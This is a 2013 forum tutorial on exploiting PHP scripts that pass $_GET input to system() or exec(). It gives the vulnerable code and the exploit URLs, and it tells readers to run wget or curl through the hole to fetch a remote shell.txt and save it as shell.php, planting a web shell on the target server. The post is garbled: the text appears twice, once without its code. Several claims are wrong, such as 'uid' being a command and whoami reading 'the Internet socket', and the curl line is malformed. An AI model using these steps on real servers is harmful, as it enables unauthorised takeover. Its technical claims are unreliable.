Dec 9, 2013 11:44 AM
(This post was last modified: Dec 9, 2013 01:52 PM by BeggFoMercy.)
Hi , Without being pathetic and starting with subtitles , I'll start the tutorial instantly.
RCE Is a vulnerability that affects PHP $GET Function , As most of us know , If the scripter uses a $_GET function into his code It means that the url will actually get formatted as the user asks for,As the informations sent by the webserver will be visible to any one in the url , Example :
That's a simple example of what $_GET PHP function does .
That was a simple PHP script that has an RCE exploit flaw , It's pretty obvious to any PHP coder how the script works , But I'll explain it ,
Firstly we assign the variable $command to the $_GET function and give it a parameter " command " , Then the $command variable is being used as a parameter into the system(); , So that the user will be able to execute any thing via the $_GET function into the system(); Which is pretty exploitable .
So If we get to use the script some how , Our url will look like :
In our case It'll be pretty easy to exploit it as the command parameter passes through the system(); function , So any thing that the user add after the "command=" will go through the system(); function , So a simple knowledge with Linux commands will get your path through success .
Another simple example :
This case is apparentley the same as the above one , In this case it just uses the exec() function instead of the system() function to get the user's insertion into a shell command .
Let's try exploiting it by running simple linux commands to the url parameter " command= " , For example :
That was just some simple Linux commands that usually every one uses .
By useing any of them on the URL like this :
Now It fetched our ID .
Now To managely exploit this you will have to use the wget function to get a shell spawned into the webserver .
To do this you'll need to use the famous wget() function wget() can be used to download a various files into a control gained server , For example
What this command does that it gets your shell.txt (source code of your php shell) downloaded then renamed by the "-O" Option to shell.php to allow your php shell to be executed .
You can also use cURL(); function like so
There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs .
Excuse me If the tutorial wasn't good enough , But expect way better tutorials next time .
Best regards ,
BeggFoMercy/UnSp0k3n
What is Remote Code Execution (RCE) :
RCE Is a vulnerability that affects PHP $GET Function , As most of us know , If the scripter uses a $_GET function into his code It means that the url will actually get formatted as the user asks for,As the informations sent by the webserver will be visible to any one in the url , Example :
PHP Code
<?php
http://www.site.com/index.php?id=1
That's a simple example of what $_GET PHP function does .
How Does Remote Code Execution affect a script :
PHP Code
<?php
$command=$_GET['command'];
system($command);
?>That was a simple PHP script that has an RCE exploit flaw , It's pretty obvious to any PHP coder how the script works , But I'll explain it ,
Firstly we assign the variable $command to the $_GET function and give it a parameter " command " , Then the $command variable is being used as a parameter into the system(); , So that the user will be able to execute any thing via the $_GET function into the system(); Which is pretty exploitable .
So If we get to use the script some how , Our url will look like :
PHP Code
<?php
somepage.php?command=whatever
In our case It'll be pretty easy to exploit it as the command parameter passes through the system(); function , So any thing that the user add after the "command=" will go through the system(); function , So a simple knowledge with Linux commands will get your path through success .
Another simple example :
PHP Code
<?php
$command=$_GET['command'];
echo exec($command);
?>This case is apparentley the same as the above one , In this case it just uses the exec() function instead of the system() function to get the user's insertion into a shell command .
Exploitation
Let's try exploiting it by running simple linux commands to the url parameter " command= " , For example :
PHP Code
<?php
whoami <--- Reads the Internet socket to show if you have the privileges of root or not , As it will just tell you that you only have the privileges of Apache , If you are root , It will tell you that you're root , 0 = Root
uid <--- Fetchs you'r ID
That was just some simple Linux commands that usually every one uses .
By useing any of them on the URL like this :
PHP Code
<?php
somepage.php?command=uid
Results :
Code
uid=12345(someuser) gid=12(users)Now It fetched our ID .
Now To managely exploit this you will have to use the wget function to get a shell spawned into the webserver .
To do this you'll need to use the famous wget() function wget() can be used to download a various files into a control gained server , For example
PHP Code
<?php
wget http://www.site.com/shell.txt -O shell.php
You can also use cURL(); function like so
PHP Code
<?php
curl -O http://www.site.com/shell.txt shell.php
There's more than those 2 ways of finding RCE Exploits in a PHP script , I might write some more tutorials about exploiting RCEs .
Excuse me If the tutorial wasn't good enough , But expect way better tutorials next time .
Best regards ,
BeggFoMercy/UnSp0k3n
Team INTRA
